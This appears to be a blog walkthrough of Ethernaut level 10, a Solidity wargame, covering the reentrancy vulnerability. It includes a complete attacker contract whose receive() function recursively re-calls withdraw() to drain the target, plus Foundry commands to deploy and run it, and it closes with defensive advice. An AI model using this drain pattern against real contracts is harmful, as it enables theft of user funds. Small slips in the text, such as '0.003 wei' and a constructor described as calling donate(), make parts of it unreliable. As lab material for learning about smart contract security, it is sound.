Ethernaut Level 10 - Re-entrancy

Ethernaut Level 10 - Re-entrancy

Analysis and solution for Ethernaut's level 10 - Re-entrancy, with Solidity and Foundry

Objectives

This is by far one of my favorite attacks in Smart Contracts because the repercussions it has could compromise the whole contract, its funds, users, or the ownership, depending on the code logic.

The goal of this level is to steal all the funds from the contract.

To understand this level, we must know what a Reentrancy is. Let's dive in.


Reentrancy

This is a class of vulnerabilities in smart contracts where attackers recursively call the functions in a vulnerable smart contract, in which there are external calls, before the contract could make sensitive state changes.

What this means is that, let's say there are two contracts, A and B. Contract A has a function that is vulnerable to reentrancy, i.e.,

  1. There's an external call happening in the function whose address is controlled by the attacker
  2. There's some state change (variable update, store, modification) happening after the external call

If these two conditions are met, then it might be possible for an attacker to reenter back into the vulnerable contract by recursively calling the vulnerable function. This will allow them to make the said external calls multiple times and the sensitive state-changing statements will never be executed because the flow will never reach that part.

Again, this is explained really well in Solidity By Example.

Imagine if the external call is transferring some funds to an attacker-controlled address, and it is updating the remaining balance after the external call. This scenario could very well be exploited by the attacker to withdraw all the funds before their balance update takes place. We will be doing the same thing with this level.


Analysis

Let's take a look at the vulnerable function - withdraw().

function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) { // validation to check if my user has balance
        (bool result,) = msg.sender.call{value:_amount}(""); // external call to an address controlled by us
            if(result) {
                _amount;
            }
        balances[msg.sender] -= _amount; // balance update but after the external call
    }
}

This function is taking some Ether in _amount and making sure that the balance of the user who initiated the function call should be greater than or equal to the amount.

It is then making an external call to msg.sender's address. This is a big RED FLAG as this address can be controlled by our user since we are the msg.sender.

After the external call, the function is then updating the balance for our user in the mapping balances[msg.sender]. Since this is happening after the external call, we can exploit this behavior so that the function never reaches this line to update user balance.

There's another function called donate() -

function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
}

This function deposits the Ether to the address supplied in the function arguments. We will need to call this so that we are able to validate the if condition in the withdraw() function - if(balances[msg.sender] >= _amount).

To exploit this level, we will be deploying a malicious contract with some balance and use that to make calls to the Ethernaut's instance:

  1. We will be calling the donate() function with some initial Ether to deposit some balance into our contract's account.
  2. We will create a fallback() or receive() function in our contract so when the withdraw() function tries to send us the Ether, we can reenter back into the function by calling it again. Here's how it would look. Note the extra withdraw() call inside of it.
     receive() external payable {
         level10.withdraw(msg.value);
     }
    
  3. We will call the withdraw() function using our contract and supply at least the same amount as our user's donated balance to validate the if condition.
  4. Once this is done, the withdraw() function will try to execute the external call msg.sender.call{value:_amount}(""); and send the _amount value to our contract's address.
  5. Our contract will see the incoming transaction and the receive() function will handle it. Since our receive() function also has a call to the vulnerable contract's withdraw() function - level10.withdraw(msg.value);, this will keep on repeating until the other contract is drained.

Let's implement this logic in our code.


The Exploit

PS: Wherever I've mentioned Reentrance contract, I'm talking about the Ethernaut's level instance or their vulnerable contract.

Here's how our exploit code looks:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "../instances/Ilevel10.sol";

contract Reenter{

    Reentrance level10 = Reentrance(0xA7DE2aFF32f567eA36FC25441cde801879BE5534);

    constructor () public payable {}

    function donate(address _to) external payable {
        level10.donate{value: 0.001 ether}(_to);
    }

    function withdraw() external{
        level10.withdraw(0.001 ether);
    }

    function getBalance(address _who) external view returns (uint){
        return address(_who).balance;
    }

    function fundmeback(address payable _to) external payable{
        require(_to.send(address(this).balance), "could not send Ether");
    }

    receive() external payable {
        level10.withdraw(msg.value);
    }
}
  1. constructor() - It is payable so that we can send some Ether to our contract while deployment. The donate() function is also called inside of it with a value of 0.001 Ether.
  2. withdraw() - This function will be useful to trigger the withdraw() function on the Reentrance contract. This is also withdrawing 0.001 Ether at a time.
  3. getBalance() - We have written this function just to query the balance of either the Reentrance contract or our own contract.
  4. fundmeback() - This function will be useful to withdraw the funds from our deployed contract into our wallet once we finish the level. This is not necessary but I don't want to lose my Ether.
  5. receive() - This function is where the magic happens. We have called withdraw() with a value of msg.value. This value will come from the _amount which will be sent by the Reentrance contract. This will keep on repeating automatically until their contract is drained. You can also have a validating statement here to execute the withdraw() call until the Reentrance contract's balance reaches 0.

Let's deploy our contract using the following command. The --value is the Ether that will be received by our constructor.

forge create Reenter --private-key $PKEY --rpc-url $RPC_URL --value 0.002ether

image.png

Now that our contract is deployed, let's make a call to the donate() function using the following command:

cast send <attacker_contract_address> "donate(address)" "<instance_address>" --private-key $PKEY --rpc-url $RPC_URL

I'm specifically donating 0.001 Ether because the contract's balance is already 0.001 Ether. If we deposit 0.001 Ether more, the reentrancy attack would be completed in 2 reentrant calls.

The balance can be checked by calling our getBalance() function and passing the contract's address in it:

cast call  <deployed_contracts_address> "getBalance(address)" "<Reentrancy_contracts_address>" --private-key $PKEY --rpc-url $RPC_URL | cast --to-dec

Once our contract calls the deposit() function, Reentrance contract's new balance will be 2000000000000000 wei or 0.002 Ether as can be seen below:

image.png

Now on to the next step, let's call the withdraw() function in our contract:

cast send 0xB4eaFb65cd17152D3837F764884Db1Cb00e4Db77 "withdraw()" --private-key $PKEY --rpc-url $RPC_URL --gas-limit 1000000

Just add another 0 to the --gas-limit 1000000 if it reverts.

image.png

This should trigger the reentrancy and the Ethernaut's contract should make two transfers of 0.001 Ether each. Etherscan confirms that this was a success. image.png

Now let's check the updated balances of both the contracts:

image.png

It can be seen that the Reentrance contract's balance is 0 and ours is updated to 0.003 wei. The attack was successful and we have drained the Reentrance contract. The instance can now be submitted to finish the level.

My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry


Takeaways

  • It is recommended to follow the check-effect-interaction pattern in functions making an external call.
  • Use Openzeppelin's Reentrancy Guard to protect against Reentrancy attacks.
  • Make sure that the external call is the last thing happening in the contract after all the state-changes.
  • call() should be used with care as it forwards all the gas whereassend and transfer only forwards 2300 gas each.
  • The recommended method to make external calls is to use call() along with Reentrancy guard.

References